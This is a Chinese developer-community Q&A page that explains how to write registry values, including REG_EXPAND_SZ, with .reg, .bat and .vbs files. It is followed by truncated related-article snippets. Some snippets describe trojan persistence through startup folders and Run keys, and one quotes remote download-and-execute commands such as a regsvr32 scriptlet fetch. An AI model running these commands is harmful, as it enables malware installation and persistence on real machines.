开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

使用.reg或.bat或带有REG_EXPAND_SZ类型的.vbs将值放入注册表

答案：

使用.reg文件、.bat文件或带有REG_EXPAND_SZ类型的.vbs文件可以将值放入注册表。

.reg文件：.reg文件是Windows注册表文件的扩展名，它包含了一系列的注册表项和键值对。通过双击运行.reg文件，可以将其中的注册表项和键值对导入到Windows注册表中。.reg文件可以用文本编辑器打开，其中包含了注册表路径、键名和键值等信息。使用.reg文件可以方便地批量导入注册表项和键值。
.bat文件：.bat文件是Windows批处理文件的扩展名，它可以包含一系列的命令行指令。通过编写一段批处理脚本，可以使用命令行工具（如reg.exe）将值写入注册表。在批处理脚本中，可以使用reg add命令指定注册表路径、键名和键值等信息，然后运行.bat文件即可将值写入注册表。
.vbs文件：.vbs文件是Windows脚本文件的扩展名，它使用VBScript语言编写。通过编写一段VBScript脚本，可以使用Windows Script Host对象模型访问和修改注册表。对于REG_EXPAND_SZ类型的键值，可以使用VBScript的CreateObject函数创建WScript.Shell对象，然后使用其RegWrite方法将值写入注册表。

这些方法可以用于将值放入注册表，例如配置应用程序的默认设置、修改系统设置等。在使用这些方法时，需要注意权限问题，确保有足够的权限来修改注册表。此外，为了避免误操作导致系统不稳定，建议在操作注册表之前备份注册表或创建系统还原点。

腾讯云相关产品和产品介绍链接地址：

腾讯云云服务器（CVM）：https://cloud.tencent.com/product/cvm
腾讯云云数据库MySQL版：https://cloud.tencent.com/product/cdb_mysql
腾讯云云原生容器服务（TKE）：https://cloud.tencent.com/product/tke
腾讯云云存储（COS）：https://cloud.tencent.com/product/cos
腾讯云区块链服务（BCS）：https://cloud.tencent.com/product/bcs

页面内容是否对你有帮助？

有帮助

没帮助

相关·内容

【批处理学习笔记】第十四课：常用DOS命令（4）

Query / Reg Restore / Reg Save / Reg Unload Reg Add 将新的子项或项添加到注册表中。 ...对于 Reg_EXPAND_SZ 项类型，在 /d 参数内将插入符号 ( ^ ) 与“%”一起使用。 .../v Path /t Reg_EXPAND_SZ /d ^%systemroot^% Reg Compare 比较指定的注册表子项或项。 .../s Reg Copy 将一个注册表项复制到本地或远程计算机的指定位置。 .../t Type 指定要搜索的注册表类型。有效的类型包括：Reg_SZ、Reg_MULTI_SZ、Reg_EXPAND_SZ、Reg_DWORD、Reg_BINARY、Reg_NONE。

1.5K3 0

Windows之注册表操作命令

WeiyiGeek.KeyName /v EntryName #指定操作的指定子项下的项名称 /ve #指定操作的注册表中的项为空值(默认) /d value #指定注册表项的值 /f #不用询问信息而直接添加子项或项.../t 指定注册表值数据类型。...有效的类型是: REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ, REG_DWORD, REG_QWORD, REG_BINARY, REG_NONE默认为所有类型。.../z 详细: 显示值名称类型的数字等值。 /reg:32 指定应该使用 32 位注册表视图访问的注册表项。 /reg:64 指定应该使用 64 位注册表视图访问的注册表项。...WeiyiGeek. reg import 将包含导出的注册表子项、项和值的文件复制到本地计算机的注册表中; 语法: reg import FileName 参数： FileName 指定将复制到本地计算机注册表中的文件的名称和路径

2K3 1

Windows之注册表操作命令

(默认) /d value #指定注册表项的值 /f #不用询问信息而直接添加子项或项 /?.../t 指定注册表值数据类型。...有效的类型是: REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ, REG_DWORD, REG_QWORD, REG_BINARY, REG_NONE默认为所有类型。.../z 详细: 显示值名称类型的数字等值。 /reg:32 指定应该使用 32 位注册表视图访问的注册表项。 /reg:64 指定应该使用 64 位注册表视图访问的注册表项。...WeiyiGeek. reg import 将包含导出的注册表子项、项和值的文件复制到本地计算机的注册表中; 语法: reg import FileName 参数： FileName 指定将复制到本地计算机注册表中的文件的名称和路径

1.3K1 0

CMD魔法堂：CMD进入指定目录

/K 执行字符串指定的命令但保留 /S 在 /C 或 /K 后修改字符串处理(见下) /Q 关闭回应 /D 从注册表中停用执行 AutoRun 命令(见下) /...A 使向内部管道或文件命令的输出成为 ANSI /U 使向内部管道或文件命令的输出成为 Unicode /T:fg 设置前景/背景颜色(详细信息，请见 COLOR /?)...三、注册表中默认目录的键　　　　　　　　　　　　　　　　　　　　　　 HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun\REG_SZ...\REG_EXPAND_SZ HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun\REG_SZ\REG_EXPAND_SZ cmd...test.bat cmd /k cd /d f:\test 点击test.bat文件，命令行窗口的当前目录就是f:\test了！

1.9K8 1

常用vbs代码

大家好，又见面了，我是你们的朋友全栈君。将域用户或组添加到本地组 Set objGroup = GetObject(“WinNT://....“%Path%”,”%Value%”‘修改”默认”键值 wso.RegWrite “%Path%”,%Value%,%RegType% ‘修改特定类型的键值 ‘(字符串值 REG_SZ 可扩充字符串值...REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY) Set WSHShell= Wscript.CreateObject(“Wscript.Shell”)...WSHShell.RegRead (%Path%) ‘读取注册表子键或键值(一般用于判断某一事件是否执行) Set wso = CreateObject(“WScript.Shell”) wso.RegDelete...，因此VBS文件具有很多命令的统一性) 将某一指定文件夹的所有只读文件转为可读文件 Const ReadOnly = 1 ‘设只读属性对应值为1 Set FSO = CreateObject(

2.1K2 0

有趣的10个CMD命令「建议收藏」

PATHEXT 变量的默认值是: .COM;.EXE;.BAT;.CMD 请注意，该语法跟 PATH 变量的一样，分号隔开不同的元素。.../t RegKey 数据类型 [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ | REG_DWORD | REG_QWORD | REG_BINARY.../f 不用提示就强行覆盖现有注册表项。 /reg:32 指定应该使用 32 位注册表视图访问的注册表项。 /reg:64 指定应该使用 64 位注册表视图访问的注册表项。...\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% 添加一个值(名称: Path，类型: REG_EXPAND_SZ，数据: %systemroot.../reg:32 指定应使用 32 位注册表视图访问 注册表项。 /reg:64 指定应使用 64 位注册表视图访问 注册表项。

4.9K1 0

命令行下的“蒙面歌王”rundll32.exe

二、用Rundll32.exe运行js或vbs的脚本代码 rundll32 javascript:"\.....四、用Rundll32.exe修改注册表 写一个c:/reg.inf文件，增加注册表启动项，代码如下： [Version]Signature="$WINDOWS NT$"[DefaultInstall]...就可以增加一个键为KAVRun，值为c:/muma.exe的注册表项了。...删掉刚才加的注册表启动项，c:\reg.inf内容如下： [Version]Signature="$WINDOWS NT$"[DefaultInstall]AddReg=My_AddReg_NameDelReg...0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。

1.4K9 0

Windows权限维持

进程迁移针对查杀木马进程这个措施，我们可以将木马进程迁移到系统正常的进程当中对于查杀木马进程，我们还有一种解决办法，设置CMD定时脚本，创建隐蔽账号，登录创建的账号执行该脚本：这个bat脚本的代码如下...在实战中我们的利用思路是，在目标机器上创建新用户，然后在新用户下执行该bat脚本。实战中我们可以将120秒的时间适当延长，免杀马的名字也可以修改为更具有迷惑性的名字。...注意：执行该脚本需要远程桌面双击执行，不能直接在CobaltStrike中使用命令行执行启动目录针对重启主机，我们可以将木马放入系统的启动目录当中 C:\Users\Administrator\AppData...\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 注意，如果目标主机上有杀软的话，将木马放入启动目录杀软会有安全提示的。...相关文章：使用reg管理注册表

1.4K2 0

windows常用命令

/v 所选项之下要添加的值名 /ve 为注册表项添加空白值名 /t RegKey 数据类型 [ REG_SZ | REG_MULTI_SZ...REG_NONE | REG_EXPAND_SZ ] 如果忽略，则采用 REG_SZ /s 指定一个在 REG_MULTI_SZ 数据字符串中 ...Program Files (x86)\windbg\windbg.exe\" -z \"%1\" " /f // 强制添加windbg打开dump文件到右键菜单的注册表项（不指明/v，键值将写入默认值名中..." \"%1\" " /f // 强制添加winhex到右键菜单的注册表项（不指明/v，键值将写入默认值名中） 注册表中%1 %2 %3 %4的含义： -- %1表示文件列表，%2表示默认打印机...\Windows\CurrentVersion\Run" /v MyApp /f // 强制删除值名的MyApp的注册表项例：reg delete "HKLM\SOFTWARE\Microsoft\Windows

1.9K2 0

Windows之注册表介绍与使用安全

1.3 注册表支持的数据值的类型 Regedit.exe支持3种数据类型： REG_SZ：字符值 REG_BINARY：二进制值 REG_DWORD：双字节值 `Regedt32.exe还支持另外...不能查看和编辑数据类型 REG_EXPAND_SZ 和 REG_MULTI_SZ,要查看和编辑这两种数据类型，必须使用 Regedt32.exe。...如果试图查看 REG_EXPAND_SZ 类型的值，Regedit.exe 将显示二进制数据类型。...如果试图编辑这两种数据类型，Regedit.exe 会以 REG_SZ 数据类型保存，将无法执行预期的功能。...1.4.3.3 添加值单击想要添加新值的注册表项或值项。在“编辑”菜单上，指向“新建”，然后单击要添加的值的类型：“字符值”、“二进制值”，或“双字节值”。

1.7K5 3

Windows之注册表介绍与使用安全

1.3 注册表支持的数据值的类型 Regedit.exe支持3种数据类型： REG_SZ：字符值 REG_BINARY：二进制值 REG_DWORD：双字节值...不能查看和编辑数据类型 REG_EXPAND_SZ 和 REG_MULTI_SZ,要查看和编辑这两种数据类型，必须使用 Regedt32.exe。...如果试图查看 REG_EXPAND_SZ 类型的值，Regedit.exe 将显示二进制数据类型。...如果试图编辑这两种数据类型，Regedit.exe 会以 REG_SZ 数据类型保存，将无法执行预期的功能。...1.4.3.3 添加值单击想要添加新值的注册表项或值项。在“编辑”菜单上，指向“新建”，然后单击要添加的值的类型：“字符值”、“二进制值”，或“双字节值”。

1.5K2 0

系统常用设置与查看命令一览表

这使您可以使用环境变量值做计算而不用键入那些 % 符号来得到它们的值。...(& ) 如果使用set或echo %var%打印变量时要注意,如果用户环境变量和系统环境变量存在同样的变量时,默认会使用用户环境变量的值; 系统内置变量： echo %path% echo %Public...3.变量的间接引用系统命令(bat中才可以进行变量引用赋值) #set 是命令 var是变量名 =号右边的"我是值"是变量的值在批处理中我们要引用这个变量就把var变量名用两个%(百分号)扩起来,如%...4) 有效的注册表项数据类型是 REG_DWORD，REG_EXPAND_SZ，REG_SZ和 REG_MULTI_SZ。...7) REG_DWORD 的值是从注册表里以十进制格式提取出来的。 8) 注意变量名最好是大写

6194 2

系统常用设置与查看命令一览表

这使您可以使用环境变量值做计算而不用键入那些 % 符号来得到它们的值。...(& ) 如果使用set或echo %var%打印变量时要注意,如果用户环境变量和系统环境变量存在同样的变量时,默认会使用用户环境变量的值; 系统内置变量： echo %path% echo %Public...3.变量的间接引用系统命令(bat中才可以进行变量引用赋值) #set 是命令 var是变量名 =号右边的"我是值"是变量的值在批处理中我们要引用这个变量就把var变量名用两个%(百分号)扩起来,如%...4) 有效的注册表项数据类型是 REG_DWORD，REG_EXPAND_SZ，REG_SZ和 REG_MULTI_SZ。...7) REG_DWORD 的值是从注册表里以十进制格式提取出来的。 8) 注意变量名最好是大写

4421 0

使用reg管理注册表

我们平时是使用 regedit.exe 命令来使用图形化界面管理注册表的。而在很多时候，使用图形化界面管理注册表很麻烦。所以今天介绍一种使用纯命令行的工具(reg.exe)来管理注册表。...注册表结构 注册表有四个关键术语：键、值、值类型、数据值的类型有六种，分别为： REG_BINARY REG_DWORD REG_EXPAND_SZ REG_MULTI_SZ REG_QWORD REG_SZ...执行reg /? 可以查看reg的帮助。如果使用reg对注册表进行增删改查的话，需要管理员权限。...HKEY_CURRENT_USER下新建一个test键，值为hello，值的类型为 REG_SZ 。.../v 后面跟需要创建的值的名称，/t 后面是值的类型，/d 后面是这个值的数据，/f 是强制不提示 reg add hkcu\test /v hello /t REG_SZ /d "this is test

1.9K1 0

怎么设置ie兼容性视图设置_ie浏览器兼容性视图怎么设置

兼容性视图设置界面：工具->兼容性视图设置域策略配置界面：【告警信息】：无【问题分析】：通过process monitor抓取IE兼容性视图设置更改的注册表项，通过脚本导入到当前登录用户的配置文件中...蓝色文本以实际值替换，注意删除换行符 reg query “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation...下面是批处理脚本内容，保存在C盘根目录下IECompat.bat @echo off reg add “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer...script objFSO.DeleteFile WScript.ScriptFullName Set objFSO = Nothing End Sub 【总结&建议】：该配置方法可单独作为批处理或vbs...如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至举报，一经查实，本站将立刻删除。

2.8K2 0

Win下终端实现文件上传和下载执行

; 0x01 方式 (1) debug 描述:debug是一个程序调试工具功能包括：直接输入，更改，跟踪，运行汇编语言源程序，观察操作系统的内容看ROM BIOS的内容，观察更改RAM内部的设置值，以扇区或文件的方式读写软盘数据...; debug使用思路：把需要上传的exe转换成十六进制hex的形式，通过echo命令将hex代码写入文件，使用debug功能将hex代码还原出exe文件。...ftp下载防火墙会弹框拦截，使用前记得要先添加防火墙规则 (3) VBS-WScript.exe 描述：您永远都不知道VBS强大,话说MYSQL作者写的第一行代码就是采用VBS写的; downloader...\ssss2.exe",2 >>download.vbs 补充VBS下载脚本: 使用 Usage 帮助:cscript //nologo C:\inetpub\wwwroot\wget.vbs 远程地址...WeiyiGeek. (10) regsvr32.exe #采用注册表的方式还是比较新颖的 regsvr32 /u /s /i:http://site.com/js.png scrobj.dll #js.png

3.3K1 0

Win下终端实现文件上传和下载执行

; 0x01 方式 (1) debug 描述:debug是一个程序调试工具功能包括：直接输入，更改，跟踪，运行汇编语言源程序，观察操作系统的内容看ROM BIOS的内容，观察更改RAM内部的设置值，以扇区或文件的方式读写软盘数据...; debug使用思路：把需要上传的exe转换成十六进制hex的形式，通过echo命令将hex代码写入文件，使用debug功能将hex代码还原出exe文件。...ftp下载防火墙会弹框拦截，使用前记得要先添加防火墙规则 (3) VBS-WScript.exe 描述：您永远都不知道VBS强大,话说MYSQL作者写的第一行代码就是采用VBS写的; downloader...\ssss2.exe",2 >>download.vbs 补充VBS下载脚本: 使用 Usage 帮助:cscript //nologo C:\inetpub\wwwroot\wget.vbs 远程地址...10.7.45.37/sb360.exe %systemroot%\back.exe C:\Windows>back.exe back.exe WeiyiGeek. (10) regsvr32.exe #采用注册表的方式还是比较新颖的

1.8K1 0

【Golang语言社区】Go语言操作注册表思路

若要查看该命令语法，请单击以下命令： reg add 将新的子项或项添加到注册表中。...当 REG_MULTI_SZ 指定为数据类型且需要列出多个项时，请使用该参数。如果没有指定，将使用默认分隔符为 \。 /d value 指定新注册表项的值。 ...\winmine" /od /s reg copy 将一个注册表项复制到本地或远程计算机的指定位置。...使用本参数不能删除指定子项下的子项。 /f 无需请求确认而删除现有的注册表子项或项。 /? 在命令提示符显示帮助。注释下表列出了 reg delete 操作的返回值。...reg save 将指定的子项、项和注册表值的副本保存到指定文件中。

2.8K7 0

WMI 攻击手法研究 – 与 windows 注册表交互 (第三部分)

检查 regedit.exe 中的注册表后，它们的排列方式似乎与文件系统类似，每个 hive 都有许多键，键可以有多个子键，键或子键用来存储值。注册表项由名称和值组成，成一对。...，并且可以使用 WMI 中的特定方法访问每种数据类型。...下表将常见数据类型与它们的方法的对应关系： Method Data Type Type Value Function GetStringValue REG_SZ 1 返回一个字符串 GetExpandedStringValue...REG_EXPAND_SZ 2 返回对 env 变量的扩展引用 GetBinaryValue REG_BINARY 3 返回字节数组 GetDWORDValue REG_DWORD 4 返回一个 32...请注意，传递给 cmdlet 的方法名称 (通过 -Name 选项参数) 将因注册表数据类型而异 (请参阅上面的数据类型表)。

1.1K2 0

【Windows】文件类型与链接类型的默认程序

注册表项详细信息（默认值）应用程序的完全限定路径。...在 Windows 7 及更高版本中，类型可以 REG_EXPAND_SZ，并且通常 REG_EXPAND_SZ %ProgramFiles%。 ...UseUrl 条目的类型 REG_DWORD ，值为0x1。...关联查询 ASSOCSTR 读取此注册表项值，并回退到版本信息中使用 FileDescription 名称。如果缺少该名称，则关联查询默认为文件的显示名称。...当使用包含非 null 参数列表的快捷方式或显式应用程序用户模型 ID (AppUserModelIDs) 启动时，可以将进程固定 (作为该快捷方式) 。

1511 0

点击加载更多

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭